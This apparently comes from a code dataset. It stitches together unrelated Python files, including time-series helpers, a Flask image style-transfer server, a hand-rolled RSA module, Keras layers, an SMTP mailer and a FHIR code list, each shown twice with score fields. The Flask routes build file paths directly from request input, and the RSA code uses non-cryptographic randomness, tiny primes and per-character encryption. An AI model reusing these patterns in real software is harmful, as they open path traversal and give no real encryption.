Transform the given time serie into stationary by normalizing,
using z-score, against the past 'time_lag' days
"""
stationary_ts = [0] * timeserie.size
for final_index in range(time_lag, timeserie.size, time_lag):
start_index = final_index - time_lag
stationary_ts[start_index:final_index] = stats.zscore(timeserie[start_index:final_index])
if final_index != timeserie.size:
stationary_ts[final_index:timeserie.size] = stats.zscore(timeserie[final_index:timeserie.size])
return stationary_ts
def standardize_laggedly(timeseries, time_lag=10):
standardized_ts = np.zeros(timeseries.size)
standardized_ts[0:time_lag] = np.nan
# Standardization against previous days
for index in range(time_lag, timeseries.size):
prev = index - time_lag
mean = timeseries[prev:index].mean()
std = timeseries[prev:index].std()
standardized_ts[index] = np.divide(timeseries[index] - mean, std)
# Transform infs into nans
standardized_ts[abs(standardized_ts) == np.inf] = np.nan
return standardized_ts
def standardize(timeseries, time_lag=10):
standardized_ts = np.zeros(timeseries.size)
standardized_ts[0:time_lag] = np.nan
# Standardization against previous days
for index in range(time_lag, timeseries.size):
prev = index - time_lag
# mean = timeseries[prev:index].mean()
standardized_ts[index] = np.divide(timeseries[index], timeseries[prev])
# Transform infs into nans
standardized_ts[abs(standardized_ts) == np.inf] = np.nan
return standardized_ts
def first_differentiate(timeseries, periods=1, use_log=False):
stationary_ts = timeseries
if use_log:
# Calculate log
stationary_ts = np.log(stationary_ts)
# Log of negative numbers is nan
# Log of 0 is -inf
stationary_ts = stationary_ts.replace([np.inf, -np.inf, np.nan], 0)
# Return first differentiated series
return stationary_ts.diff(periods=periods)
def window_stack(array, window, step=1, spatial=False):
"""
Method for creating timeseries windows.
spatial is only applicable when array.ndim > 1
"""
# array[initial_index:final_index:step]
# each iteration of the for adds the ith element of every window
# It is completed concurrently
if array.ndim == 1:
return np.vstack(
array[i:(1 + i - window or None):step]
for i in range(0, window)
)
else:
if spatial:
return np.array([
array[i:(window + i):step]
for i in range(0, len(array) - window + 1)
])
# TODO: Fix this
return np.hstack(
array[i:(1 + i - window or None):step]
for i in range(0, window)
) | forecaster/timeseries.py | import matplotlib.pyplot as plt
import numpy as np
from scipy import stats
from statsmodels.tsa.stattools import adfuller, grangercausalitytests, kpss
def metrics(data):
print('\nKpss test: ')
# Stationary around a constant
print(kpss(data, regression='c'))
# Stationary around a trend
print(kpss(data, regression='ct'))
print('\nAdfuller test:')
# Constant only
print(adfuller(data, regression='c'))
# Constant trend
print(adfuller(data, regression='ct'))
# Constant, and linear and quadratic trend
print(adfuller(data, regression='ctt'))
def plot(dates, data, title='', ylabel=''):
plt.plot(dates, data)
plt.grid(True)
plt.ylabel(title)
plt.title(ylabel)
plt.show()
def stationarize(timeserie, time_lag=10):
"""
Transform the given time serie into stationary by normalizing,
using z-score, against the past 'time_lag' days
"""
stationary_ts = [0] * timeserie.size
for final_index in range(time_lag, timeserie.size, time_lag):
start_index = final_index - time_lag
stationary_ts[start_index:final_index] = stats.zscore(timeserie[start_index:final_index])
if final_index != timeserie.size:
stationary_ts[final_index:timeserie.size] = stats.zscore(timeserie[final_index:timeserie.size])
return stationary_ts
def standardize_laggedly(timeseries, time_lag=10):
standardized_ts = np.zeros(timeseries.size)
standardized_ts[0:time_lag] = np.nan
# Standardization against previous days
for index in range(time_lag, timeseries.size):
prev = index - time_lag
mean = timeseries[prev:index].mean()
std = timeseries[prev:index].std()
standardized_ts[index] = np.divide(timeseries[index] - mean, std)
# Transform infs into nans
standardized_ts[abs(standardized_ts) == np.inf] = np.nan
return standardized_ts
def standardize(timeseries, time_lag=10):
standardized_ts = np.zeros(timeseries.size)
standardized_ts[0:time_lag] = np.nan
# Standardization against previous days
for index in range(time_lag, timeseries.size):
prev = index - time_lag
# mean = timeseries[prev:index].mean()
standardized_ts[index] = np.divide(timeseries[index], timeseries[prev])
# Transform infs into nans
standardized_ts[abs(standardized_ts) == np.inf] = np.nan
return standardized_ts
def first_differentiate(timeseries, periods=1, use_log=False):
stationary_ts = timeseries
if use_log:
# Calculate log
stationary_ts = np.log(stationary_ts)
# Log of negative numbers is nan
# Log of 0 is -inf
stationary_ts = stationary_ts.replace([np.inf, -np.inf, np.nan], 0)
# Return first differentiated series
return stationary_ts.diff(periods=periods)
def window_stack(array, window, step=1, spatial=False):
"""
Method for creating timeseries windows.
spatial is only applicable when array.ndim > 1
"""
# array[initial_index:final_index:step]
# each iteration of the for adds the ith element of every window
# It is completed concurrently
if array.ndim == 1:
return np.vstack(
array[i:(1 + i - window or None):step]
for i in range(0, window)
)
else:
if spatial:
return np.array([
array[i:(window + i):step]
for i in range(0, len(array) - window + 1)
])
# TODO: Fix this
return np.hstack(
array[i:(1 + i - window or None):step]
for i in range(0, window)
) | 0.608943 | 0.682687 |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
# coding=utf-8
import stylize
import os
import base64
import json
import re
import time
import glob
import shutil
from io import BytesIO
from PIL import Image
# Flask utils
from flask import Flask, redirect, url_for, request, render_template, Response, send_file, make_response
from gevent.pywsgi import WSGIServer
from flask_cors import CORS
app = Flask(__name__)
CORS(app)
@app.route('/', methods=['GET'])
def index():
return 'style transfer server running'
@app.route('/stylize-with-data', methods=['GET', 'POST'])
def stylize_with_data():
if request.method == 'POST':
sessionId = request.form['id']
styleId = request.form['style']
highReality = request.form['highReality']
highQuality = request.form['highQuality']
userContent = request.form['userContent']
userStyle = request.form['userStyle']
contentData = request.form['contentData']
styleData = request.form['styleData']
content_size, alpha, adain = get_style_params(highQuality, highReality)
content_path = './output/pix/'+sessionId+'.png'
style_path = './styles/'+styleId+'.jpg'
style_out = './output/style/'+sessionId+'.png'
if userContent == 'true':
content_path = './uploads/'+sessionId+'.png'
image_data = re.sub('^data:image/.+;base64,', '', contentData)
image_content = Image.open(BytesIO(base64.b64decode(image_data)))
image_content.save(content_path)
if userStyle == 'true':
style_data = re.sub('^data:image/.+;base64,', '', styleData)
image_style = Image.open(BytesIO(base64.b64decode(style_data)))
style_path = os.path.join(
'./uploads', '{}_style.png'.format(sessionId))
image_style.save(style_path)
stylize.get_stylize_image(
content_path, style_path, style_out,
content_size=content_size, alpha=alpha, adain=adain)
if userStyle == 'true':
os.remove(style_path)
with open(os.path.join(os.path.dirname(__file__), style_out), 'rb') as f:
return u"data:image/png;base64," + base64.b64encode(f.read()).decode('ascii')
return ''
@app.route('/get-gallery-list', methods=['GET'])
def get_gallery_list():
galleryDir = './gallery'
files = [os.path.basename(x) for x in sorted(
glob.glob(os.path.join(galleryDir, '*.png')), reverse=True)]
return json.dumps(files)
@app.route('/get-gallery-image/<filename>', methods=['GET'])
def get_gallery_image(filename):
if os.path.exists('./gallery/'+filename):
with open('./gallery/'+filename, 'rb') as f:
return u"data:image/png;base64," + base64.b64encode(f.read()).decode('ascii')
return ''
@app.route('/submit-to-gallery', methods=['GET', 'POST'])
def submit_to_gallery():
if request.method == 'POST':
sessionId = request.form['id']
style_out = './output/style/'+sessionId+'.png'
if os.path.isfile(style_out):
timestr = time.strftime("%Y%m%d-%H%M%S")
shutil.copy2(style_out, './gallery/'+timestr+'.png')
return 'True'
else:
return 'False'
return ''
def get_style_params(highQuality, highReality):
adain = False
alpha = 0.6
content_size = 256
if highReality == 'true':
adain = True
alpha = 0.8
if highQuality == 'true':
content_size = 512
return content_size, alpha, adain
if __name__ == '__main__':
# app.run(port=5002, debug=True)
# Serve the app with gevent
print('Start serving style transfer at port 5002...')
http_server = WSGIServer(('', 5002), app)
http_server.serve_forever() | server/app_stylize.py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
# coding=utf-8
import stylize
import os
import base64
import json
import re
import time
import glob
import shutil
from io import BytesIO
from PIL import Image
# Flask utils
from flask import Flask, redirect, url_for, request, render_template, Response, send_file, make_response
from gevent.pywsgi import WSGIServer
from flask_cors import CORS
app = Flask(__name__)
CORS(app)
@app.route('/', methods=['GET'])
def index():
return 'style transfer server running'
@app.route('/stylize-with-data', methods=['GET', 'POST'])
def stylize_with_data():
if request.method == 'POST':
sessionId = request.form['id']
styleId = request.form['style']
highReality = request.form['highReality']
highQuality = request.form['highQuality']
userContent = request.form['userContent']
userStyle = request.form['userStyle']
contentData = request.form['contentData']
styleData = request.form['styleData']
content_size, alpha, adain = get_style_params(highQuality, highReality)
content_path = './output/pix/'+sessionId+'.png'
style_path = './styles/'+styleId+'.jpg'
style_out = './output/style/'+sessionId+'.png'
if userContent == 'true':
content_path = './uploads/'+sessionId+'.png'
image_data = re.sub('^data:image/.+;base64,', '', contentData)
image_content = Image.open(BytesIO(base64.b64decode(image_data)))
image_content.save(content_path)
if userStyle == 'true':
style_data = re.sub('^data:image/.+;base64,', '', styleData)
image_style = Image.open(BytesIO(base64.b64decode(style_data)))
style_path = os.path.join(
'./uploads', '{}_style.png'.format(sessionId))
image_style.save(style_path)
stylize.get_stylize_image(
content_path, style_path, style_out,
content_size=content_size, alpha=alpha, adain=adain)
if userStyle == 'true':
os.remove(style_path)
with open(os.path.join(os.path.dirname(__file__), style_out), 'rb') as f:
return u"data:image/png;base64," + base64.b64encode(f.read()).decode('ascii')
return ''
@app.route('/get-gallery-list', methods=['GET'])
def get_gallery_list():
galleryDir = './gallery'
files = [os.path.basename(x) for x in sorted(
glob.glob(os.path.join(galleryDir, '*.png')), reverse=True)]
return json.dumps(files)
@app.route('/get-gallery-image/<filename>', methods=['GET'])
def get_gallery_image(filename):
if os.path.exists('./gallery/'+filename):
with open('./gallery/'+filename, 'rb') as f:
return u"data:image/png;base64," + base64.b64encode(f.read()).decode('ascii')
return ''
@app.route('/submit-to-gallery', methods=['GET', 'POST'])
def submit_to_gallery():
if request.method == 'POST':
sessionId = request.form['id']
style_out = './output/style/'+sessionId+'.png'
if os.path.isfile(style_out):
timestr = time.strftime("%Y%m%d-%H%M%S")
shutil.copy2(style_out, './gallery/'+timestr+'.png')
return 'True'
else:
return 'False'
return ''
def get_style_params(highQuality, highReality):
adain = False
alpha = 0.6
content_size = 256
if highReality == 'true':
adain = True
alpha = 0.8
if highQuality == 'true':
content_size = 512
return content_size, alpha, adain
if __name__ == '__main__':
# app.run(port=5002, debug=True)
# Serve the app with gevent
print('Start serving style transfer at port 5002...')
http_server = WSGIServer(('', 5002), app)
http_server.serve_forever() | 0.399812 | 0.05549 |
import random
import ast
import base64
max_prim_length = 1000000000000
def get_keys_from_file(
private_keys_path = "private_keys.txt",
public_keys_path = "public_keys.txt"
):
public_keys_file = open(public_keys_path, 'r')
e = int(public_keys_file.readline())
n = int(public_keys_file.readline())
public_keys_file.close()
private_keys_file = open(private_keys_path, 'r')
d = int(private_keys_file.readline())
n = int(private_keys_file.readline())
private_keys_file.close()
return ((e,n), (d,n))
def generate_key_pairs():
p = _generateRandomPrim()
q = _generateRandomPrim()
n = _generate_RSA_modulus(p, q)
phi = _calculate_eulers_totient_function(p, q)
e = random.randint(1, phi)
g = _gcd(e,phi)
while g != 1:
e = random.randint(1, phi)
g = _gcd(e, phi)
d = _egcd(e, phi)[1]
d = d % phi
if(d < 0):
d += phi
return ((e,n), (d,n))
def encrypt(message: str, public_key):
key, n = public_key
arr = [pow(ord(char), key, n) for char in message]
return base64.b64encode(bytes(str(arr), 'ascii')).decode()
def dencrypt(message, private_key):
try:
key, n = private_key
message_decoded = base64.b64decode(message).decode()
arr = ast.literal_eval(message_decoded)
message_dencrypted = ""
text = [chr(pow(char, key, n)) for char in arr]
return message_dencrypted.join(text)
except TypeError as e:
raise e
def save_keys(public_key, private_key):
public_file = open('public_keys.txt', 'w')
public_file.write(str(public_key[0]) + '\n')
public_file.write(str(public_key[1]) + '\n')
public_file.close()
private_file = open('private_keys.txt', 'w')
private_file.write(str(private_key[0]) + '\n')
private_file.write(str(private_key[1]) + '\n')
private_file.close()
def _is_prime(num):
if num == 2:
return True
if num < 2 or num % 2 == 0:
return False
for n in range(3, int(num**0.5)+2, 2):
if num % n == 0:
return False
return True
def _generateRandomPrim():
while(1):
ranPrime = random.randint(0, max_prim_length)
if _is_prime(ranPrime):
return ranPrime
def _generate_RSA_modulus(p: int, q: int):
'''selection of two prime numbers namely p and q, and then
calculating their product N'''
return p * q
def _calculate_eulers_totient_function(p: int, q: int):
'''counts the positive integers up to a given integer n that
are relatively prime to n.'''
return (p-1) * (q-1)
def _gcd(a, b):
'''
calculates the gcd of two ints
'''
while b != 0:
a, b = b, a % b
return a
def _egcd(a, b):
'''
calculates the modular inverse from e and phi
'''
if a == 0:
return (b, 0, 1)
else:
g, y, x = _egcd(b % a, a)
return (g, x - (b // a) * y, y) | rsa_implementation.py | import random
import ast
import base64
max_prim_length = 1000000000000
def get_keys_from_file(
private_keys_path = "private_keys.txt",
public_keys_path = "public_keys.txt"
):
public_keys_file = open(public_keys_path, 'r')
e = int(public_keys_file.readline())
n = int(public_keys_file.readline())
public_keys_file.close()
private_keys_file = open(private_keys_path, 'r')
d = int(private_keys_file.readline())
n = int(private_keys_file.readline())
private_keys_file.close()
return ((e,n), (d,n))
def generate_key_pairs():
p = _generateRandomPrim()
q = _generateRandomPrim()
n = _generate_RSA_modulus(p, q)
phi = _calculate_eulers_totient_function(p, q)
e = random.randint(1, phi)
g = _gcd(e,phi)
while g != 1:
e = random.randint(1, phi)
g = _gcd(e, phi)
d = _egcd(e, phi)[1]
d = d % phi
if(d < 0):
d += phi
return ((e,n), (d,n))
def encrypt(message: str, public_key):
key, n = public_key
arr = [pow(ord(char), key, n) for char in message]
return base64.b64encode(bytes(str(arr), 'ascii')).decode()
def dencrypt(message, private_key):
try:
key, n = private_key
message_decoded = base64.b64decode(message).decode()
arr = ast.literal_eval(message_decoded)
message_dencrypted = ""
text = [chr(pow(char, key, n)) for char in arr]
return message_dencrypted.join(text)
except TypeError as e:
raise e
def save_keys(public_key, private_key):
public_file = open('public_keys.txt', 'w')
public_file.write(str(public_key[0]) + '\n')
public_file.write(str(public_key[1]) + '\n')
public_file.close()
private_file = open('private_keys.txt', 'w')
private_file.write(str(private_key[0]) + '\n')
private_file.write(str(private_key[1]) + '\n')
private_file.close()
def _is_prime(num):
if num == 2:
return True
if num < 2 or num % 2 == 0:
return False
for n in range(3, int(num**0.5)+2, 2):
if num % n == 0:
return False
return True
def _generateRandomPrim():
while(1):
ranPrime = random.randint(0, max_prim_length)
if _is_prime(ranPrime):
return ranPrime
def _generate_RSA_modulus(p: int, q: int):
'''selection of two prime numbers namely p and q, and then
calculating their product N'''
return p * q
def _calculate_eulers_totient_function(p: int, q: int):
'''counts the positive integers up to a given integer n that
are relatively prime to n.'''
return (p-1) * (q-1)
def _gcd(a, b):
'''
calculates the gcd of two ints
'''
while b != 0:
a, b = b, a % b
return a
def _egcd(a, b):
'''
calculates the modular inverse from e and phi
'''
if a == 0:
return (b, 0, 1)
else:
g, y, x = _egcd(b % a, a)
return (g, x - (b // a) * y, y) | 0.307774 | 0.288422 |
import tensorflow as tf
import numpy as np
class Reverse(tf.keras.layers.Layer):
def __init__(self, axis, **kwargs):
super().__init__(**kwargs)
self.axis = axis
def call(self, inputs, **kwargs):
return tf.reverse(inputs, self.axis)
class ExpandDims(tf.keras.layers.Layer):
def __init__(self, axis=-1, **kwargs):
super().__init__(**kwargs)
self.axis = axis
def call(self, inputs, **kwargs):
return tf.expand_dims(inputs, axis=self.axis)
class ReflectionPadding2D(tf.keras.layers.ZeroPadding2D):
def call(self, inputs, mask=None):
#print(self.padding)
pattern = [[0, 0],
self.padding[0],
self.padding[1],
[0, 0]]
return tf.pad(inputs, pattern, mode='REFLECT')
if __name__ == '__main__':
sess = tf.Session()
sess.run(tf.global_variables_initializer())
x = tf.placeholder(shape=[None, 5, 5, 3], dtype=tf.int32, name='x')
inputs = tf.keras.Input(shape=[5,5,3])
rp = ReflectionPadding2D([2,2])(inputs)
rp_model = tf.keras.Model(inputs, rp)
rp_out = rp_model(x)
ed = ExpandDims(axis=-1)(inputs)
ed_model = tf.keras.Model(inputs, ed)
ed_out = ed_model(x)
rv = Reverse([1])(inputs)
rv_model = tf.keras.Model(inputs, rv)
rv_out = rv_model(x)
arr = [
[
[[0, 0, 0], [1, 1, 1], [2, 2, 2], [3, 3, 3], [4, 4, 4]],
[[5, 5, 5], [6, 6, 6], [7, 7, 7], [8, 8, 8], [9, 9, 9]],
[[10, 10, 10], [11, 11, 11], [12, 12, 12], [13, 13, 13], [14, 14, 14]],
[[5, 5, 5], [6, 6, 6], [7, 7, 7], [8, 8, 8], [9, 9, 9]],
[[5, 5, 5], [6, 6, 6], [7, 7, 7], [8, 8, 8], [9, 9, 9]],
],
[
[[0, 0, 0], [1, 1, 1], [2, 2, 2], [3, 3, 3], [4, 4, 4]],
[[5, 5, 5], [6, 6, 6], [7, 7, 7], [8, 8, 8], [9, 9, 9]],
[[10, 10, 10], [11, 11, 11], [12, 12, 12], [13, 13, 13], [14, 14, 14]],
[[5, 5, 5], [6, 6, 6], [7, 7, 7], [8, 8, 8], [9, 9, 9]],
[[5, 5, 5], [6, 6, 6], [7, 7, 7], [8, 8, 8], [9, 9, 9]],
]
]
print(np.array(arr).shape)
print('original input: {}'.format(arr))
print('------------------')
print('test Reflection Padding that shape: {}'.format(sess.run(tf.shape(rp_out),feed_dict = {x: arr})))
print('test Expand Dims that shape: {}'.format(sess.run(tf.shape(ed_out), feed_dict={x: arr})))
print('test Reverse: {}'.format(sess.run(ed_out, feed_dict={x: arr}))) | ssu_tf_keras/layers.py | import tensorflow as tf
import numpy as np
class Reverse(tf.keras.layers.Layer):
def __init__(self, axis, **kwargs):
super().__init__(**kwargs)
self.axis = axis
def call(self, inputs, **kwargs):
return tf.reverse(inputs, self.axis)
class ExpandDims(tf.keras.layers.Layer):
def __init__(self, axis=-1, **kwargs):
super().__init__(**kwargs)
self.axis = axis
def call(self, inputs, **kwargs):
return tf.expand_dims(inputs, axis=self.axis)
class ReflectionPadding2D(tf.keras.layers.ZeroPadding2D):
def call(self, inputs, mask=None):
#print(self.padding)
pattern = [[0, 0],
self.padding[0],
self.padding[1],
[0, 0]]
return tf.pad(inputs, pattern, mode='REFLECT')
if __name__ == '__main__':
sess = tf.Session()
sess.run(tf.global_variables_initializer())
x = tf.placeholder(shape=[None, 5, 5, 3], dtype=tf.int32, name='x')
inputs = tf.keras.Input(shape=[5,5,3])
rp = ReflectionPadding2D([2,2])(inputs)
rp_model = tf.keras.Model(inputs, rp)
rp_out = rp_model(x)
ed = ExpandDims(axis=-1)(inputs)
ed_model = tf.keras.Model(inputs, ed)
ed_out = ed_model(x)
rv = Reverse([1])(inputs)
rv_model = tf.keras.Model(inputs, rv)
rv_out = rv_model(x)
arr = [
[
[[0, 0, 0], [1, 1, 1], [2, 2, 2], [3, 3, 3], [4, 4, 4]],
[[5, 5, 5], [6, 6, 6], [7, 7, 7], [8, 8, 8], [9, 9, 9]],
[[10, 10, 10], [11, 11, 11], [12, 12, 12], [13, 13, 13], [14, 14, 14]],
[[5, 5, 5], [6, 6, 6], [7, 7, 7], [8, 8, 8], [9, 9, 9]],
[[5, 5, 5], [6, 6, 6], [7, 7, 7], [8, 8, 8], [9, 9, 9]],
],
[
[[0, 0, 0], [1, 1, 1], [2, 2, 2], [3, 3, 3], [4, 4, 4]],
[[5, 5, 5], [6, 6, 6], [7, 7, 7], [8, 8, 8], [9, 9, 9]],
[[10, 10, 10], [11, 11, 11], [12, 12, 12], [13, 13, 13], [14, 14, 14]],
[[5, 5, 5], [6, 6, 6], [7, 7, 7], [8, 8, 8], [9, 9, 9]],
[[5, 5, 5], [6, 6, 6], [7, 7, 7], [8, 8, 8], [9, 9, 9]],
]
]
print(np.array(arr).shape)
print('original input: {}'.format(arr))
print('------------------')
print('test Reflection Padding that shape: {}'.format(sess.run(tf.shape(rp_out),feed_dict = {x: arr})))
print('test Expand Dims that shape: {}'.format(sess.run(tf.shape(ed_out), feed_dict={x: arr})))
print('test Reverse: {}'.format(sess.run(ed_out, feed_dict={x: arr}))) | 0.510252 | 0.48749 |
from __future__ import annotations
from spark_auto_mapper_fhir.fhir_types.uri import FhirUri
from spark_auto_mapper_fhir.value_sets.generic_type import GenericTypeCode
from spark_auto_mapper.type_definitions.defined_types import AutoMapperTextInputType
# This file is auto-generated by generate_classes so do not edit manually
# noinspection PyPep8Naming
class PropertyTypeCode(GenericTypeCode):
"""
PropertyType
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
The type of a property value.
"""
def __init__(self, value: AutoMapperTextInputType):
super().__init__(value=value)
"""
http://hl7.org/fhir/concept-property-type
"""
codeset: FhirUri = "http://hl7.org/fhir/concept-property-type"
class PropertyTypeCodeValues:
"""
The property value is a code that identifies a concept defined in the code
system.
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
"""
Code_internalReference_ = PropertyTypeCode("code")
"""
The property value is a code defined in an external code system. This may be
used for translations, but is not the intent.
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
"""
Coding_externalReference_ = PropertyTypeCode("Coding")
"""
The property value is a string.
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
"""
String = PropertyTypeCode("string")
"""
The property value is a string (often used to assign ranking values to
concepts for supporting score assessments).
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
"""
Integer = PropertyTypeCode("integer")
"""
The property value is a boolean true | false.
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
"""
Boolean = PropertyTypeCode("boolean")
"""
The property is a date or a date + time.
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
"""
DateTime = PropertyTypeCode("dateTime")
"""
The property value is a decimal number.
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
"""
Decimal = PropertyTypeCode("decimal") | spark_auto_mapper_fhir/value_sets/property_type.py | from __future__ import annotations
from spark_auto_mapper_fhir.fhir_types.uri import FhirUri
from spark_auto_mapper_fhir.value_sets.generic_type import GenericTypeCode
from spark_auto_mapper.type_definitions.defined_types import AutoMapperTextInputType
# This file is auto-generated by generate_classes so do not edit manually
# noinspection PyPep8Naming
class PropertyTypeCode(GenericTypeCode):
"""
PropertyType
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
The type of a property value.
"""
def __init__(self, value: AutoMapperTextInputType):
super().__init__(value=value)
"""
http://hl7.org/fhir/concept-property-type
"""
codeset: FhirUri = "http://hl7.org/fhir/concept-property-type"
class PropertyTypeCodeValues:
"""
The property value is a code that identifies a concept defined in the code
system.
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
"""
Code_internalReference_ = PropertyTypeCode("code")
"""
The property value is a code defined in an external code system. This may be
used for translations, but is not the intent.
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
"""
Coding_externalReference_ = PropertyTypeCode("Coding")
"""
The property value is a string.
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
"""
String = PropertyTypeCode("string")
"""
The property value is a string (often used to assign ranking values to
concepts for supporting score assessments).
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
"""
Integer = PropertyTypeCode("integer")
"""
The property value is a boolean true | false.
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
"""
Boolean = PropertyTypeCode("boolean")
"""
The property is a date or a date + time.
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
"""
DateTime = PropertyTypeCode("dateTime")
"""
The property value is a decimal number.
From: http://hl7.org/fhir/concept-property-type in valuesets.xml
"""
Decimal = PropertyTypeCode("decimal") | 0.847084 | 0.327184 |
from string import join
import email.Message
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from klab.fs.fsio import read_file
class MailServer(object):
def __init__(self, host = None, port = None):
self.host = host
self.port = port
def sendmail(self, subject, sender, recipients, plaintext, htmltext=None, cc=None, debug=False, useMIMEMultipart=True):
if recipients:
if type(recipients) == type(""):
recipients = [recipients]
elif type(recipients) != type([]):
raise Exception("Unexpected type for recipients.")
if cc:
if type(cc) == type(""):
recipients.append(cc)
elif type(cc) == type([]):
recipients.extend(cc)
else:
raise Exception("Unexpected type for cc.")
recipients = join(recipients, ";")
if plaintext and htmltext and useMIMEMultipart:
msg = MIMEMultipart('alternative')
else:
msg = email.Message.Message()
msg['Subject'] = subject
msg['From'] = sender
msg['To'] = recipients
msg['Reply-To'] = sender
if plaintext and htmltext and useMIMEMultipart:
part1 = MIMEText(plaintext, 'plain')
part2 = MIMEText(htmltext, 'html')
msg.attach(part1)
msg.attach(part2)
else:
msg.set_type("text/plain")
msg.set_payload(plaintext)
if debug:
print(msg)
else:
if self.host and self.port:
s = smtplib.SMTP(self.host, self.port)
elif self.host:
s = smtplib.SMTP(self.host)
else:
s = smtplib.SMTP()
s.connect()
s.sendmail(msg['From'], recipients, msg.as_string())
s.close()
return True
return False
def sendgmail(self, subject, recipients, plaintext, htmltext=None, cc=None, debug=False, useMIMEMultipart=True, gmail_account = '<EMAIL>', pw_filepath = None):
'''For this function to work, the password for the gmail user must be colocated with this file or passed in.'''
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
gmail_account = '<EMAIL>'
if pw_filepath:
smtpserver.login(gmail_account, read_file(pw_filepath))
else:
smtpserver.login(gmail_account, read_file('pw'))
for recipient in recipients:
if htmltext:
msg = MIMEText(htmltext, 'html')
msg['From'] = gmail_account
msg['To'] = recipient
msg['Subject'] = subject
smtpserver.sendmail(gmail_account, recipient, msg.as_string())
else:
header = 'To:' + recipient + '\n' + 'From: ' + gmail_account + '\n' + 'Subject:' + subject + '\n'
msg = header + '\n ' + plaintext + '\n\n'
smtpserver.sendmail(gmail_account, recipient, msg)
smtpserver.close()
def sendgmail2(self, subject, recipients, plaintext, htmltext=None, cc=None, debug=False, useMIMEMultipart=True, gmail_account = '<EMAIL>', pw_filepath = None):
'''For this function to work, the password for the gmail user must be colocated with this file or passed in.'''
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
gmail_account = '<EMAIL>'
if pw_filepath:
smtpserver.login(gmail_account, read_file(pw_filepath))
else:
smtpserver.login(gmail_account, read_file('pw'))
for recipient in recipients:
header = 'To:' + recipient + '\n' + 'From: ' + gmail_account + '\n' + 'Subject:' + subject + '\n'
if htmltext:
msg = header + '\n ' + htmltext + '\n\n'
else:
msg = header + '\n ' + plaintext + '\n\n'
smtpserver.sendmail(gmail_account, recipient, msg)
smtpserver.close() | klab/comms/mail.py | from string import join
import email.Message
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from klab.fs.fsio import read_file
class MailServer(object):
def __init__(self, host = None, port = None):
self.host = host
self.port = port
def sendmail(self, subject, sender, recipients, plaintext, htmltext=None, cc=None, debug=False, useMIMEMultipart=True):
if recipients:
if type(recipients) == type(""):
recipients = [recipients]
elif type(recipients) != type([]):
raise Exception("Unexpected type for recipients.")
if cc:
if type(cc) == type(""):
recipients.append(cc)
elif type(cc) == type([]):
recipients.extend(cc)
else:
raise Exception("Unexpected type for cc.")
recipients = join(recipients, ";")
if plaintext and htmltext and useMIMEMultipart:
msg = MIMEMultipart('alternative')
else:
msg = email.Message.Message()
msg['Subject'] = subject
msg['From'] = sender
msg['To'] = recipients
msg['Reply-To'] = sender
if plaintext and htmltext and useMIMEMultipart:
part1 = MIMEText(plaintext, 'plain')
part2 = MIMEText(htmltext, 'html')
msg.attach(part1)
msg.attach(part2)
else:
msg.set_type("text/plain")
msg.set_payload(plaintext)
if debug:
print(msg)
else:
if self.host and self.port:
s = smtplib.SMTP(self.host, self.port)
elif self.host:
s = smtplib.SMTP(self.host)
else:
s = smtplib.SMTP()
s.connect()
s.sendmail(msg['From'], recipients, msg.as_string())
s.close()
return True
return False
def sendgmail(self, subject, recipients, plaintext, htmltext=None, cc=None, debug=False, useMIMEMultipart=True, gmail_account = '<EMAIL>', pw_filepath = None):
'''For this function to work, the password for the gmail user must be colocated with this file or passed in.'''
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
gmail_account = '<EMAIL>'
if pw_filepath:
smtpserver.login(gmail_account, read_file(pw_filepath))
else:
smtpserver.login(gmail_account, read_file('pw'))
for recipient in recipients:
if htmltext:
msg = MIMEText(htmltext, 'html')
msg['From'] = gmail_account
msg['To'] = recipient
msg['Subject'] = subject
smtpserver.sendmail(gmail_account, recipient, msg.as_string())
else:
header = 'To:' + recipient + '\n' + 'From: ' + gmail_account + '\n' + 'Subject:' + subject + '\n'
msg = header + '\n ' + plaintext + '\n\n'
smtpserver.sendmail(gmail_account, recipient, msg)
smtpserver.close()
def sendgmail2(self, subject, recipients, plaintext, htmltext=None, cc=None, debug=False, useMIMEMultipart=True, gmail_account = '<EMAIL>', pw_filepath = None):
'''For this function to work, the password for the gmail user must be colocated with this file or passed in.'''
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
gmail_account = '<EMAIL>'
if pw_filepath:
smtpserver.login(gmail_account, read_file(pw_filepath))
else:
smtpserver.login(gmail_account, read_file('pw'))
for recipient in recipients:
header = 'To:' + recipient + '\n' + 'From: ' + gmail_account + '\n' + 'Subject:' + subject + '\n'
if htmltext:
msg = header + '\n ' + htmltext + '\n\n'
else:
msg = header + '\n ' + plaintext + '\n\n'
smtpserver.sendmail(gmail_account, recipient, msg)
smtpserver.close() | 0.14978 | 0.0559 |
import torch
import torch.nn as nn
import tridepth_renderer.cuda.rasterize as rasterize_cuda
from . import vertices_to_faces, rasterize_image
def flip(x, dim):
"""
Flip tensor in specified dimension.
"""
indices = [slice(None)] * x.dim()
indices[dim] = torch.arange(x.size(dim) - 1, -1, -1,
dtype=torch.long).cuda()
return x[tuple(indices)]
class Renderer(nn.Module):
def __init__(self, render_size=(228, 304)):
super(Renderer, self).__init__()
# Rendering size (output size)
self.render_size = render_size
# Other parameters
self.anti_aliasing = True
